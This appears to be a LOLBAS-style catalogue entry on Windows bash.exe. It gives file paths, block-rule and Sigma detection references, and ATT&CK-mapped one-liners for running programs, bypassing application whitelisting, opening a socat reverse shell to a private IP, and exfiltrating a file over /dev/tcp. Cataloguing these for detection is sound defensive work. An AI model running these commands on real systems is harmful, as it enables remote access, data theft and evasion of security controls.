

# .. /Bash.exe

Execute

AWL bypass

File used by Windows subsystem for Linux

## Paths:

C:\Windows\System32\bash.exe

C:\Windows\SysWOW64\bash.exe

## Resources:

- <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>

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## Detections:

- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- Sigma: [https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process\\_creation/proc\\_creation\\_win\\_lolbin\\_bash.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml)
- IOC: Child process from bash.exe

## Execute

. Executes calc.exe from bash.exe

```
bash.exe -c calc.exe
```

<b>Use case:</b>	Performs execution of specified file, can be used as a defensive evasion.
<b>Privileges required:</b>	User
<b>Operating systems:</b>	Windows 10
<b>ATT&amp;CK® technique:</b>	T1202

. Executes a reverseshell

```
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
```

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<b>Privileges required:</b>	User
<b>Operating systems:</b>	Windows 10

**ATT&CK® technique:** T1202

. Exfiltrate data

```
bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
```

**Use case:** Performs execution of specified file, can be used as a defensive evasion.  
**Privileges required:** User  
**Operating systems:** Windows 10  
**ATT&CK® technique:** T1202

## AWL bypass

Executes calc.exe from bash.exe

```
bash.exe -c calc.exe
```

**Use case:** Performs execution of specified file, can be used to bypass Application Whitelisting.  
**Privileges required:** User  
**Operating systems:** Windows 10  
**ATT&CK® technique:** T1202